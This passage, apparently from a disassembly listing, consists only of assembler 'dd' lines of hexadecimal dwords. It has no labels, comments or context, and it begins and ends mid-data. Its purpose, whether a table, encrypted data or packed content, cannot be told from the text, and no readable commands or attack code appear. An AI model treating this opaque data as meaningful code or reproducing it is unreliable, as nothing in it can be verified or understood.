		dd 5A592180h, 16B95100h, 0C10C1A63h, 20CD98E1h,	312DBB9Fh
		dd 9F45F1F8h, 0CBBB5Fh,	2AB1BFD2h, 577B0C76h, 16691C5Dh
		dd 2FA6DE21h, 100CEE00h, 0F1010AD1h, 0C1D0B197h, 0B6450073h
		dd 9548D6C3h, 0E9C1E65Bh, 0F36BC5AEh, 595D7979h, 68560941h
		dd 9FDBD0E8h, 0FB62B953h, 0EC100B5Ch, 6DF6FAB0h, 0BDD0585Eh
		dd 6BE1275Ch, 25000C6Fh, 0CA8738F6h, 406496Bh, 0FC16F871h
		dd 2F85EA9h, 0E0987F50h, 81555B06h, 30EB8193h, 19290AAAh
		dd 2D3C8F09h, 0DB5D8B1Fh, 0C4FA697h, 0C75BCCA3h, 696ED9B5h
		dd 645187D4h, 2FBB817Fh, 0FF247B4Eh, 93038BBBh,	0D385F9ECh
		dd 0BEFD13Ch, 1383274Eh, 0B934AD1Eh, 12FF8CBEh,	0F974FEAAh
		dd 0F70C43F3h, 30342C20h, 2B915572h, 763CCD3Fh,	0A492AE92h
		dd 8EC2DD5Dh, 6E5C3582h, 4EC970Eh, 0EDC72D79h, 0F1F2C3B9h
		dd 6C4D7543h, 68800941h, 0FC805D1Ah, 29AD3565h,	20254B48h
		dd 0C9524B4Dh, 57E8301Dh, 0E0F2B84Fh, 0BB7D5CE2h, 0D6305BADh
		dd 4902308Ch, 17E1854h,	99E140FDh, 5022EA55h, 0C935F740h
		dd 94D4BA6Bh, 0FB1B9E60h, 0E9FAC21Ch, 197D625Fh, 83C080Ch
		dd 38DF0659h, 0FE3A844Fh, 24BAC365h, 9DCBFA69h,	615A1DD5h
		dd 6B9F2CCBh, 855CDB23h, 0EEEC52BBh, 64FA7D0Eh,	63D2E9B7h
		dd 7C7B41EFh, 0E1214B7Ah, 0C1C456DCh, 5C030083h, 8480180Fh
		dd 570BE11Bh, 68135372h, 0AAB13515h, 6C200961h,	5F265C14h
		dd 7453D0Eh, 2CF9EC53h,	0D1A5BAAAh, 36CB4F10h, 6850EE40h
		dd 93728F1Dh, 0D0005C6Eh, 2507DF6Ch, 0EE451331h, 0CFC56Fh
		dd 7927E7E3h, 0E3018121h, 0BB42F1Dh, 25289CE9h,	0CE7B8D45h
		dd 0EB681307h, 0FB1235EBh, 8CDEBD8Ch, 0E3C5D19Dh, 842FC330h
		dd 0B0919338h, 9D796314h, 6BA26B44h, 9240B0Ah, 56749E2Fh
		dd 468B0C6Bh, 0CE1D1693h, 6616886Fh, 67016813h,	40E826FBh
		dd 0C012404Eh, 7F498AAEh, 0D6E24224h, 4698FC2h,	9529FA5Bh
		dd 15ADBFFh, 0B02D591Eh, 2B75631Dh, 791F7BE4h, 0CC3D504Bh
		dd 5AC082C9h, 0F9970187h, 0C8E96219h, 4427817Eh, 0D28C2BA9h
		dd 0D0632DC3h, 0AFE380B0h, 98D3F62Eh, 0DEE99B04h, 0D7689490h
		dd 79CAA603h, 2F4C0251h, 28E97797h, 9FBC2E75h, 0C12C9868h
		dd 0F70151EFh, 58EB338Eh, 30DFC97Bh, 0F0BDF36Ah, 6D9680BDh
		dd 391E2F4Eh, 805B96Ah,	95F2B95Eh, 78EE5073h, 6E0D2505h
		dd 94AFBA52h, 826A008h
		dd 0D79CE280h, 12B5F26Bh, 8FE0C328h, 0F0E927CCh, 0D5B8C580h
		dd 71025E46h, 9B558E0Dh, 0EF44DD27h, 3EFA86B0h,	280AB248h
		dd 0A265E3FDh, 66E36C1Bh, 89F9215Fh, 47E564F4h,	0B6CA1C5Eh
		dd 8423E912h, 7204A006h, 68718C4Ah, 2C2E5DEEh, 2502D39Eh
		dd 26E9166Ah, 64C0DE63h, 59FBB041h, 619AAEFCh, 26056813h
		dd 9B10B5E3h, 0B084C80h, 561888F8h, 667D5AACh, 0FF4CB57Bh
		dd 5AD35188h, 3A035048h, 634D82F8h, 0C0D1F759h,	50139990h
		dd 0BF1FFABh, 0BF0FCDE2h, 501AEF8h, 92E102Ch, 706DACE9h
		dd 975C625h, 5382DD39h,	0DF947ABAh, 6250F9B5h, 23295730h
		dd 3E673FEAh, 9782F339h, 0DE29DC86h, 80401354h,	3DC04ACAh
		dd 8E9207E2h, 0EE752BCh, 0FD0990BCh, 82111740h,	0F64C4A82h
		dd 0F75A84C2h, 0EB04F5DEh, 1109AA0h, 6028F36Eh,	0A29B75AFh
		dd 68C9F705h, 84DE689h,	51E99474h, 7D38C6Dh, 0F09D640Ah
		dd 49EF207Eh, 1C78317h,	0F03B01BBh, 9D606750h, 5EB1F60Ch
		dd 113445E9h, 0ECECA653h, 26BE0056h, 0BB15B621h, 4926DEDCh
		dd 940E75EAh, 0B0200D71h, 8045931h, 8CBA85BAh, 0F70C0426h
		dd 5851F828h, 2F58814Bh, 0F13B4AD9h, 0EBC83E84h, 684F4025h
		dd 0DBC4E17Ah, 0CCABAB30h, 241063BCh, 81133341h, 81ABF8C2h
		dd 0C02B23EAh, 901E2BEh, 0F7203C68h, 6DBF30DAh,	40A17518h
		dd 342C42B4h, 2D01527h,	0C25DE920h, 0CD93F473h,	7E03808h
		dd 2C89F680h, 0B1401EE6h, 5EF10631h, 47241068h,	0A853E029h
		dd 84A1D517h, 9FB5C438h, 20680BD3h, 59175C56h, 45203129h
		dd 0C0CDEEBEh, 48F59F01h, 4DDEB36Eh, 59BB1001h,	21DEEC5Fh
		dd 22E112CFh, 46415EE2h, 0C49B3487h, 5265711Dh,	15EB02BCh
		dd 0DF0522F0h, 0BF2D45A5h, 0A0E94F44h, 48C18FD2h, 82E7FB84h
		dd 7455D880h, 96CB16DCh, 8FC748A2h, 45773D68h, 26FEB090h
		dd 890AB466h, 0D2925D5Fh, 4A8C7F93h, 0A873D4D3h, 695B32F4h
		dd 0FE787A05h, 99FBE18h, 0BE55BDA1h, 76F737DDh,	7B656257h
		dd 9259A51h, 0A4655F77h, 754B6409h, 0BB659018h,	198C5F82h
		dd 4C1D2032h, 0AFBF6026h, 0A71FD954h, 0C58D3FEh, 43DBB6AFh
		dd 93179DDCh, 0DDD12166h, 0C111829Bh, 2DADE0EBh, 559BC0BFh
		dd 2E513168h, 7C4FC4Dh,	5E1B49C9h, 9A9462ECh, 0EA584A3Eh
		dd 2DE9267Ch, 905E9EC6h, 7E685E51h, 15BC55Eh, 0DA6842BAh
		dd 24302E21h, 481DB86Ah, 0FD5EBC92h, 0D0E9091Bh, 8117548Ah
		dd 4A01F9E6h, 0DFCED82Eh, 136A0E13h, 9C7E8001h,	9D2ED2A0h
		dd 80EDCDE6h, 0A81A508Fh, 0F4C1457Bh, 94D9007h,	1EDD41A9h
		dd 0B902BD70h, 0FB75F97Eh, 21E44001h, 96DBB7C8h, 26B5CA08h
		dd 0EC48126Ch, 91F85B74h, 5597EFE1h, 0C798184h,	0F1C08102h
		dd 63D17D4Dh, 5E751882h, 9A006EB9h, 0A87F0C06h,	134A2DCDh
		dd 0EFCA1BDEh, 61217D39h, 0D3064372h, 71AEBDE9h, 3D4EB02h
		dd 6A290FD1h, 0E90801AEh, 2694B084h, 407BFE5Ah,	4590546Dh
		dd 0C898041h, 0BBDF7AC1h, 0DF55DADEh, 0EA7FD6CAh, 4690FF24h
		dd 1D12F2BDh, 30E82867h, 8280A84Eh, 0F658C788h,	168F10A0h
		dd 98E46068h, 0B7EB60A1h, 30ABFC3h, 8CA2829Dh, 0B5B6FF17h
		dd 40B5D1BFh, 0B73D5FBEh, 0FD68460Ch, 408A6174h, 6E06B578h
		dd 0D2F6D586h, 0B983B708h, 0C2D30CDh, 4055C5Ah,	0FA0C6468h
		dd 0FFF17C32h, 0B450CD98h, 72B1F01Ch, 0B1CBE114h, 8C32CE88h
		dd 0B79E3212h, 56D235E4h, 4643CA04h, 86FAB203h,	0ECF042Dh
		dd 24AF92E6h, 40BFB89h,	5D16406Fh, 74A42D68h, 4125E066h
		dd 982AD1EDh, 88352D11h, 42C65D00h, 5764CA2Dh, 12F0F43Ch
		dd 0E09C667Ch, 70E701A7h, 0D022B28h, 1E680687h,	322FAA19h
		dd 41691B03h, 0B1C4CD58h, 0D1042081h, 52212331h, 685F1850h
		dd 0A8304B91h, 1285B572h, 0C54BC4FFh, 57C1FF9Fh, 0B430DF01h
		dd 0EE824499h, 922B673Ch, 9F085218h, 2EAB28A6h,	135B1DF5h
		dd 92F7E342h, 8F919504h, 4596491Dh, 5D0F0072h, 6430612Ch
		dd 50A28766h, 0A7CF804Fh, 5048180Bh, 67AA124Eh,	832373AFh
		dd 0DA27EE7Eh, 25941AEDh, 0C495558Fh, 281AC6FFh, 3732825Eh
		dd 9F4EC44Ah, 9B49B306h, 0C0A1E2B5h, 2622738Dh,	1D6C276Eh
		dd 170E0C06h, 2C026A0Ch, 0B7E937A1h, 15C757CAh,	0CB805900h
		dd 0E5D96825h, 4AB4BE4Ch, 0EC210215h, 5709FC30h, 0DCF6AD80h
		dd 8ABEE8E9h, 70945525h, 277D4A24h, 5AE3165h, 0FEAEF4A8h
		dd 0A154B08Ch, 17651699h, 0A186AC2Eh, 0D53AFCFEh, 8C0CEE2Bh
		dd 0E9E80807h, 0E1351481h, 7AFE465Fh, 9552670Dh, 1256A92Ah
		dd 0BBE48956h, 870C178Ah, 0C05AF2Ah, 0B9814E63h, 12054D89h
		dd 0A484AF31h, 0CABEBFD5h, 0A2E913AEh, 87494D80h, 5F5679CDh
		dd 5E9FC2EAh, 8A43B4D5h, 0FBE5DF84h, 2D6CFEA9h,	0F02525E9h
		dd 48904CECh, 0A0A3795Ah, 0B99A5612h, 0FE03D36Fh, 0AFFE7384h
		dd 1983C5C5h, 569485CBh, 0E5A901BBh, 0E29256EAh, 0E5BCB8A7h
		dd 2D2EC8F8h, 0F07F9941h, 0E705AD0Bh, 0D631EB15h, 4CC68800h
		dd 0F26CBF68h, 14E92DF3h, 4D77C362h, 10339158h,	5C2FB4FFh
		dd 0E142AAFEh, 0D998F743h, 0BFB9B857h, 2EBE5693h, 7EE90ACAh
		dd 0D6A5C5DEh, 4BFD8975h, 60539E99h, 7D171356h,	16FE4CD6h
		dd 0C082BCF3h, 0D9499295h, 75569789h, 80C52358h, 0E627C15Fh
		dd 6D7BC005h, 0E1744B62h, 86C2011h, 0E90606C1h,	5464F924h
		dd 0A5C69D0Fh, 7E5B0AF0h, 0F5B4DFFDh, 6575FEDFh, 0CFBC886Ah
		dd 8FC48004h, 0ECEC8DFFh, 61138724h, 5FA1CBE9h,	18D2DC3Eh
		dd 0CBDCD34Ah, 3E8A3168h, 4BD1C5Dh, 5B39A6AEh, 0FD25CDF3h
		dd 6DEC4DDAh, 2DB4E85Eh, 9E34FB67h, 37424CF8h, 998649DFh
		dd 9837BA5Ah, 534B9BE3h, 0A1DE0987h, 5569105Ch,	0AA90B8CCh
		dd 0A909370Bh, 9882F535h, 0B4014CB6h, 0F17A3019h, 8C73F44h
		dd 2BCA5F79h, 0B5517610h, 8AB02E4Ah, 5DEBC34Dh,	0A8264F87h
		dd 6DA7DF55h, 4904A0C2h, 82133BD3h, 0D2BDA942h,	1AD02AEh
		dd 0DE8045CDh, 7C3A4193h, 0DDA7E910h, 0F1885109h, 2C0E4175h
		dd 0B0C05424h, 64807315h, 0F98067Bh, 0CAF321E3h, 9EC5E92Ch
		dd 0B368AE35h, 30E24F7Ah, 6E79CB3Ah, 43645A1Fh,	0F7D1F90Ah
		dd 660A5D52h, 22E90B91h, 0BA011FA4h, 0CC006FD9h, 4F7828ECh
		dd 87FDB005h, 1BC26BE7h, 0D73F4AE5h, 0E969C45h,	0D55B334Bh
		dd 0E27FB49Ah, 59675E0Fh, 10023208h, 2C1241DFh,	13CDBB60h
		dd 927E53F8h, 0BBF30378h, 0D0F6C386h, 1CA9F9E7h, 528DB1DFh
		dd 13EB9054h, 0E459950Dh, 97C92EAFh, 0AFAAF6BAh, 460870DEh
		dd 3B6804D5h, 0B88AFA17h, 2AEDA10h, 0D60391BBh,	5F4AFF02h
		dd 0C81C7D87h, 46417B89h, 8B1EC4E6h, 3EB207C7h,	7A484E72h
		dd 94F4A0E7h, 1CEBEC25h, 708EAA3Dh, 972AE9B8h, 1D9D0A9Ch
		dd 53628C64h, 16EEE188h, 742D7581h, 3E8637CCh, 9FCBECE4h
		dd 0AF063E0h, 11E9D02h,	836850FBh, 0FF295808h, 23AA253Fh
		dd 0F25AC4A3h, 0FCE92564h, 9AFCBA3Ah, 19C597DAh, 0B69AD4A0h
		dd 0C2835A00h, 40E95701h, 3A719592h, 9EDAC431h,	1374E804h
		dd 2C32052Fh, 0BCD4E154h, 0D8685B00h, 882F5C54h, 69F8E65Ah
		dd 0CA61E982h, 29203F64h, 68590AEFh, 926618A5h,	0CF9704B1h
		dd 8FAD7Ah, 43E24606h, 2C4E6D25h, 103D6622h, 685100D2h
		dd 2BDE3239h, 0C1413E59h, 50490389h, 151F837Fh,	29692F9Dh
		dd 0E9637AF1h, 0F0974FB0h, 0C3F20882h, 0B907E59Ch, 61E50B1Bh
		dd 9C27AB01h, 0C47B40A8h
		dd 0D380FA40h, 76A9910Fh, 0BEEA4BDEh, 55C11E17h, 0B2006CD5h
		dd 0C22C80BAh, 0DC128F97h, 8DE34FEh, 0F02FF8AEh, 48B9713h
		dd 0D4A726F3h, 9BBF5627h, 68E298CEh, 24034E3Eh,	95DF81ACh
		dd 0DF253FFFh, 0D897CAE5h, 0E92FBBF3h, 413F4171h, 2F24D2Eh
		dd 528B5589h, 7D5A0FDEh, 5FB0AA4Dh, 0E202FB05h,	0E8D1245Ah
		dd 0BE9D09BAh, 8069A359h, 0E266A9DAh, 1928CA28h, 0E7D6AFEDh
		dd 770B75A5h, 0F6520E0Bh, 1998595Bh, 0D75A4AD5h, 1040B455h
		dd 674A128Eh, 0C24B52E2h, 4655EF98h, 0C1192EB8h, 0E966676Dh
		dd 5F279BF2h, 0A5CF513Fh, 0A9504D54h, 0E4599571h, 0B5955094h
		dd 177E4408h, 1001B266h, 0BD03760Fh, 70D241F7h,	0C5EEDE40h
		dd 8DE96D0Ah, 550DEDAh,	2F1C076Ah, 69536823h, 22016C6h
		dd 0E5D03BBAh, 0A9A57F92h, 0EA29C47Fh, 10E8F3ABh, 0C13BE8FDh
		dd 8D0B970h, 42254597h,	8AB3002Bh, 38BC2Eh, 70DBBD55h
		dd 81454CDDh, 480DF500h, 2DE90754h, 0EBA0B78Fh,	6A193A83h
		dd 0A1238B0h, 0D212D742h, 0F10D80EBh, 64FDC53Fh, 924F2A5Dh
		dd 0BC92C0A2h, 3FFCA5F4h, 0A83E9484h, 0DF14CB28h, 63284E15h
		dd 5205719Fh, 1300D9EEh, 4509E607h, 1399B951h, 90ED77Bh
		dd 191AAA95h, 0AC0110DDh, 0BE4A82F8h, 0AA098156h, 0B0BB6683h
		dd 5551136Ah, 4ABBE959h, 0D43EB22Dh, 0BAF4C42Ah, 9512B584h
		dd 98E97385h, 0BD0008F6h, 3DB81243h, 97C30CE9h,	709C9A20h
		dd 0DE801E77h, 0ACE5B7CFh, 0E1101411h, 0F028093Dh, 0B9305F5Ah
		dd 7196ACC9h, 98B9FFE9h, 8C223B58h, 2AFC412h, 0A44D99C1h
		dd 0B7F586Ch, 23345D70h, 5CB32495h, 968C75BCh, 89952997h
		dd 1A257DA9h, 204DAF5Fh, 0F36B2385h, 721F5F1Fh,	1FA9A092h
		dd 300EE612h, 4B3ABAD1h, 32547826h, 57F8F200h, 2FE970D5h
		dd 0CD66EAEDh, 35017809h, 402C566Bh, 8E59D9BBh,	0DF894603h
		dd 0F9FD215Bh, 0A9AFF78Fh, 52954178h, 0B95D5CA9h, 0E72357B5h
		dd 69944CDFh, 0E50A8045h, 0B7DB6FD2h, 36E90C98h, 957EB5Eh
		dd 0A2100FF8h, 0A6B14F79h, 9338B22Eh, 82A5A9ECh, 102F485h
		dd 61ABC1D1h, 894D4E06h, 0D6662705h, 985F7A3Fh,	61FBE9FAh
		dd 0C7803096h, 5F7CCACh, 0F4F8282Eh, 9C925044h,	4A11F75Dh
		dd 0EE31013Ch, 12E18DDh, 0D0F792D8h, 47774952h,	10E5E459h
		dd 164B09A9h, 0B6F1830Fh, 0E717039Bh, 19D70780h, 6479D9h
		dd 915C9368h, 1D539D2Fh, 0D1DE93C3h, 2BCC39E5h,	5646F33h
		dd 53F9F795h, 5C5F0654h, 0ED4B69C3h, 0C40212EFh, 2FA3AB7Fh
		dd 1D60EE92h, 94EE08E9h, 7BC98B20h, 5F80E0D9h, 81117164h
		dd 250E01F3h, 6AE92A80h, 212685FBh, 33895EF0h, 842BEAF1h
		dd 49E7AF04h, 0C2835334h, 0B5749021h, 0C4C381C0h, 43DA084Fh
		dd 820F301h, 0ACA35E5Bh, 0AAE84B16h, 4A307F61h,	0BD24B1A8h
		dd 0F3ED4148h, 191EA0Bh, 0C20205FBh, 4A80A0E4h,	0EE3727BEh
		dd 0D201C772h, 96583BB4h, 1560185h, 6097F65h, 0D00855B0h
		dd 8C4F320h, 0D106DD40h, 8B7F2078h, 492808C6h, 6FA52018h
		dd 10897631h, 0AA01703Eh, 3108BD5Ch, 7A4F1881h,	98A69E01h
		dd 72719C10h, 4708C458h, 8539068Ah, 837D3120h, 8C1BC108h
		dd 83A9818h, 18BF62B3h,	0AD038185h, 0B959662Dh,	1520218Eh
		dd 62A73173h, 8CF49B10h, 1895BE08h, 879634Dh, 1810A5D9h
		dd 0D6315747h, 1C87FA9h, 8B9D0A9h, 46185FB1h, 42088C4Bh
		dd 408818B7h, 56620F24h, 28D6E10h, 0A202F85Fh, 5BFD0389h
		dd 0BB9A0818h, 0C6CE6C18h, 18347408h, 860E431h,	0BF0144B8h
		dd 4208CEAh, 65AB0891h,	4FBC180Bh, 10D07FBCh, 0DE1099BDh
		dd 7BE61097h, 2AD92310h, 0EE318078h, 57F9181Ah,	1FAAC01h
		dd 75073EDAh, 908C4C23h, 12402418h, 10656EE9h, 0DE0C2208h
		dd 62D7084Fh, 5A7C18DCh, 18A80703h, 8F15210h, 99CC462Eh
		dd 6581086Bh, 44C82869h, 677E090h, 31085D65h, 44183C2Ah
		dd 41C5016Fh, 1655108Ch, 0B6630E08h, 105FD318h,	18A2AE08h
		dd 952046CFh, 4751CC4Ah, 0EB408410h, 0C1F1CAA5h, 0FD2A8AB4h
		dd 188E90D4h, 3E087EE5h, 3C18C4FBh, 92910602h, 0F8985410h
		dd 0B169C4B6h, 5CD704E1h, 8712006h, 0A0A9E790h,	5E088C88h
		dd 40012879h, 31409C36h, 0B069C6EAh, 7E200863h,	96382048h
		dd 0B08C6020h, 5130C465h, 0A89D0AE0h, 1D53B588h, 76B932CAh
		dd 66B0C503h, 79845951h, 59547332h, 0E84107B1h,	88CAD0Ch
		dd 0AE90A837h, 0A008C47Bh, 64B89304h, 12921010h, 95201824h
		dd 0F1090B6h, 6434106Ah, 4CB56D12h, 9A111D28h, 0CCC08180h
		dd 1469D608h, 63205D63h, 17082277h, 49954820h, 0F218D40Ah
		dd 0DF308E9h, 8A3418C4h, 0D2326E04h, 0CB06FE40h, 5035F131h
		dd 0C990F721h, 0DC3B248Ah, 186E338Ch, 8A16645h,	220E1B8h
		dd 16D2204Ah, 184F7B33h, 0E09910FBh, 0CEE61028h, 10676618h
		dd 60807A78h, 0E8FC269Ch, 0FAD849A4h, 1E43FF31h, 91E3C78Bh
		dd 10804117h, 752C473Bh, 1331EB02h, 0A7B90E89h,	5003DBDh
		dd 408F4401h, 0C90B0B49h, 0E8BF775h, 0DE023D48h, 0F2B9F003h
		dd 0C0333C0Dh, 4FB10F06h, 0AC0C2C30h, 1EC6AFE9h, 60575C5Bh
		dd 3247E118h, 0C3EBEC80h, 0B2DA58C3h, 0D0A9C87Fh, 0E7B90751h
		dd 0D302FB4Ch, 0BFDD4D6Eh, 5BB2CDDCh, 0F572B81Eh, 0AEE569ADh
		dd 0E90C4ECBh, 311E7B75h, 7F1F197h, 0EF56FB29h,	7FC391ADh
		dd 5700BEE6h, 0B719C1BFh, 9737E915h, 0ECA06D40h, 0FE60F912h
		dd 120260E1h, 99B0CF34h, 3931E919h, 62725BD0h, 0F22BD651h
		dd 0D002C89Ah, 944FA4E9h, 293B95D2h, 0BB0B4EF8h, 436F5DBFh
		dd 0D720B06Dh, 67E91850h, 2D487816h, 0A4F19D0Bh, 0F69BF8BDh
		dd 0E9570CD5h, 0F57DBB9Eh, 623D2F0Fh, 38A26E3Fh, 2E59CE61h
		dd 42D2F231h, 0C4F93F3Dh, 0C907E82Fh, 5A16C0E1h, 1EBD5548h
		dd 634C1907h, 41F4E809h, 0E3B94E90h, 5AA80168h,	1208C981h
		dd 8B02FB6h, 0FE53BF06h, 0C88C7CADh, 0CEE98BDCh, 0C0258CD2h
		dd 61A25C14h, 0D1664BB0h, 822ABAFEh, 880F2C58h,	4CE57FC2h
		dd 2CC280C0h, 5EA031E9h, 0DD84B71Eh, 987C755h, 0B1D3B1FEh
		dd 25BEC6F7h, 386D4909h, 981B91DCh, 0C8C24BD5h,	0C3D36D13h
		dd 8BF678FAh, 4ADC1951h, 685D8168h, 8C2A052Fh, 0AB6F9B50h
		dd 25986110h, 1F6A7482h, 0BC7D4BCFh, 0F988DE54h, 1680124Ah
		dd 0C05BB46h, 0DFA2E328h, 0A249EB96h, 0E8622B32h, 9D5455B9h
		dd 4CA08BBCh, 820E3EC3h, 182CE96Dh, 9DE58940h, 5AEE2860h
		dd 5F1C6120h, 0FE70845Fh, 0B7C9D45Ch, 0E9108156h, 0AD8E7A58h
		dd 0C4642CCCh, 0B425C3D8h, 283FBE7Fh, 0F7C13AE1h, 9D32C22Ah
		dd 0F605CCF0h, 0CB897FC8h, 693CEAFh, 62E6676Fh,	16EF699Eh
		dd 1B265F03h, 1A5A443Eh, 0D10C4336h, 4D550E28h,	60CFEA12h
		dd 8789B95Ah, 85D2CDEEh, 1A3E4064h, 4D8B250Eh, 1AF50AE3h
		dd 140B1C08h, 5560B0F5h, 0ACE98065h, 0BBF9174Bh, 489CFC96h
		dd 82823A9Dh, 0B5E969AFh, 0B4C4907Ah, 830A090Dh, 0C75EB89h
		dd 0A0FACBE4h, 9422DCDh, 0DA294958h, 0FB948684h, 5C2DFECEh
		dd 39AD7B48h, 2956B808h, 4B838A4Ch, 3C9EA4EAh, 0AF46B124h
		dd 47408C7Ch, 1E09CF81h, 0D3111D19h, 843A08D7h,	4ABCBB01h
		dd 4D2B3F31h, 2A878F0Ah, 353D08B1h, 0B753EB60h,	0F70C800Ah
		dd 0ACFFE97h, 0B0E91372h, 4A3E4976h, 762209h, 0BD073E03h
		dd 5E0C0F25h, 0E923D9DEh, 2C1C45BBh, 0C80EAF04h, 5966842Ch
		dd 868761AFh, 0D8A46588h
		dd 45B146AEh, 99025E4Ah, 0D045F539h, 0CE7FE0Ch,	6D1B2356h
		dd 8800612h, 615C0460h,	88F2B7E9h, 7617CC89h, 7AF9739Dh
		dd 7CD9F302h, 8634508h,	347265B0h, 0E749FCF9h, 715AB82Fh
		dd 664A044Fh, 43AAC11Ah, 0DEE707CAh, 174616E9h,	0F2CDFAE9h
		dd 0D64A737Fh, 81A834FBh, 3C93F03h, 2D0EB155h, 0BD8EAA6h
		dd 7F2BFC4Fh, 8922500h,	2926931Eh, 0E9C1D2FEh, 95222350h
		dd 923D8D24h, 53E0766h,	0D5F75338h, 140F45C3h, 0F3EA3EEDh
		dd 9A0531C1h, 0DB1A4632h, 0CF4C463Ah, 6F6D6380h, 0B968F582h
		dd 96B19D26h, 0F3AE4E07h, 7C702E49h, 0E9C79520h, 1402885h
		dd 0F25141B4h, 0D2A74B3Bh, 5900FB5Ch, 0D8D8F75Eh, 0D329CF12h
		dd 0C49CC1A3h, 473D5FBh, 0ADC575h, 5305EDC0h, 50CA2C68h
		dd 75B560CAh, 302755B3h, 0C00B98EBh, 207590E3h,	0B800C127h
		dd 161248BEh, 72E7A0Dh,	0FC2D441Bh, 56556Eh, 3D6593FAh
		dd 52EC0112h, 0BF3C683Bh, 33AE4A20h, 0AA9C12E4h, 0D13EF98Ah
		dd 0A3B9B9C0h, 1F3ADD8Ch, 0AB16BDEh, 26A62DC5h,	0FE757A89h
		dd 3A8AC233h, 0BF82CED7h, 0E4697659h, 66AB592Dh, 0FCF05B72h
		dd 0B2E9B0E6h, 3D0AD4E7h, 0ADD16D24h, 0E984AE15h, 0D588DF2Ah
		dd 81BEBE1Eh, 76523BE1h, 0EA036065h, 0BEABEF05h, 89C3CE01h
		dd 318F481Dh, 31BB07Ah,	0BA52F929h, 6FA21253h, 1E55E5C0h
		dd 5B19353Fh, 81F6F84h,	422A7B4Ch, 0E653168h, 0A613C6C3h
		dd 630A1F14h, 7158C526h, 359EC3FAh, 40E20662h, 1798E078h
		dd 70730C09h, 70685F75h, 0F331685Fh, 0B873D5Ch,	0BF69024h
		dd 473A383Eh, 0EEB130F5h, 0EF151818h, 1F620C68h, 74DA4B2Fh
		dd 2EE941C6h, 40933529h, 64180F2Ah, 801762Dh, 0E906081Fh
		dd 5BF3B39h, 0A227D5EEh, 0AA31803Dh, 2B160158h,	0A62CCE29h
		dd 416F24E9h, 304D8668h, 0AAECCE8Bh, 2F685980h,	0C59813EBh
		dd 7995E3D8h, 0E8943068h, 0A1780D0h, 2BBCF831h,	2234309h
		dd 62E49702h, 1FE645FFh, 6812A044h, 4B30486Ah, 2736BEBDh
		dd 624654CFh, 121C148h,	0E956DDF7h, 16BCFBC3h, 0A084104Ch
		dd 3F21FBF9h, 0B36B5456h, 0EA8A8582h, 838727ABh, 0CB282A34h
		dd 7B7B9BEEh, 0C28F130h, 9D4B775Fh, 9B7967A9h, 6AB06D64h
		dd 36E01735h, 91DAFC08h, 9EC4FDEh, 0B66F6AA8h, 49C6CE42h
		dd 4BA302F0h, 515A01A0h, 0F41A7854h, 1D8E087h, 4B1BAA68h
		dd 0FAC87E49h, 0A05725B7h, 0E97D215Fh, 57BB7D82h, 401FE116h
		dd 0BA58C3FDh, 6D37073Fh, 7A8D21Bh, 3059B604h, 2CF82875h
		dd 0C4017AE9h, 0FC3CE960h, 375C6800h, 0B161E95h, 544D685Dh
		dd 34AE0AF1h, 0F9519360h, 0DD012872h, 490883F5h, 5751F6AAh
		dd 60FDD720h, 5DE8AF22h, 77093435h, 0F631F523h,	0AF01C5F1h
		dd 0D77B692Dh, 0A4FEF40Ah, 6B00031Dh, 6F0D43C8h, 0B044525Eh
		dd 3C0A03EEh, 50554BA1h, 0A351762Ch, 0D0215D87h, 5494EE94h
		dd 0A6F253EBh, 0C53D181Dh, 1745C9DDh, 0A1406C4Ah, 12F307AFh
		dd 0ECC221FDh, 0B3DF404Ah, 68C709AEh, 0B4FF7FD7h, 6862A9D0h
		dd 476125ADh, 0FA8D5325h, 679E0CB9h, 2D854818h,	52F5D423h
		dd 0ED278355h, 0E918B00Dh, 11725A7h, 0D9EC9ED6h, 3DDE4EF5h
		dd 0FE643BDCh, 0D99CC8BAh, 0ABCCF74Bh, 4CF805C2h, 0E94A5E1Ch
		dd 1D0A0426h, 77015F8Ah, 6B57C838h, 75D3EFC1h, 415C6458h
		dd 0E1A13B2Fh, 0E3FB06Ah, 0E0126070h, 2DEBC201h, 0EA8E6ACEh
		dd 86CCC84Bh, 0B9F053A4h, 4E79934Dh, 1D975BBh, 2A01C10h
		dd 5BDAE88Ch, 51D0892Dh, 32D90B40h, 0CB23177h, 0E918904Ah
		dd 892D734Dh, 74EC6A01h, 0B6094005h, 28151F7Fh,	1144F907h
		dd 518E3AE4h, 0E820D249h, 4F091E06h, 9835C979h,	0F0154E49h
		dd 29133D33h, 54B05BD8h, 0FB5602C3h, 0A0F7817Fh, 7E61EC61h
		dd 0EE702DC6h, 6A8A493Eh, 0BC49D11Ch, 0FAD034FAh, 36D0EF14h
		dd 60613286h, 7A1A5038h, 0E9121C11h, 0EE60E5F6h, 98081EB3h
		dd 36121260h, 0E4B2A801h, 5BF602EBh, 0ACC1E830h, 9E483C23h
		dd 36850C0h, 4C55967Bh,	58738A58h, 0DE059D4Eh, 0C44F4746h
		dd 0CD8BC844h, 0AE417C4Eh, 671A6861h, 54A282EFh, 11205121h
		dd 0EF51B3E9h, 7215C01h, 5ADA27Fh, 2316107Fh, 4B8DDAFh
		dd 0DB08010Ch, 6272D87Bh, 8EE41622h, 0ECE59EECh, 0AC2DB0D5h
		dd 78572673h, 20BD0933h, 252EE2AFh, 9657271Ch, 775EAAF7h
		dd 1FCCC451h, 791B20E9h, 5ED52931h, 108F8590h, 0CFE54A42h
		dd 1F4EABB5h, 0F86F7E03h, 9A7802EFh, 0CD215AC7h, 0F5B062BBh
		dd 39258028h, 1649709Fh, 0EF1C4709h, 0FB3C3B69h, 0EE1416C5h
		dd 342726CFh, 0C5AF8945h, 313B811Bh, 4258271Dh,	510762F0h
		dd 4A5F8B62h, 5B40755Fh, 9B206E1Dh, 3869092Bh, 5B004ADBh
		dd 130A3A9h, 7CEB18C1h,	4B2A056Dh, 61328AB6h, 60C63E2Fh
		dd 0EA1ED3EEh, 691B1732h, 5C63F2F7h, 0DDE19D7Dh, 0A659ECADh
		dd 6856E049h, 44174BC3h, 19AF5E74h, 6EFEB6FDh, 2B68C9DCh
		dd 20832065h, 55FF0BECh, 66A83479h, 0AA5A1307h,	0E9536D02h
		dd 0BA774813h, 7AC4FA42h, 96947646h, 714B6204h,	0E9DE2D03h
		dd 0A2703ED6h, 0B412629Bh, 0AC82C720h, 0D652D40Fh, 71989583h
		dd 512E85E7h, 0BBBBF331h, 12848072h, 1B76BA52h,	6F447FB3h
		dd 8E992D7h, 465C3380h,	0E9177360h, 264E74C4h, 2CE807E2h
		dd 88107649h, 0E9041CB2h, 8DFA2A07h, 6479E567h,	0E405B8A5h
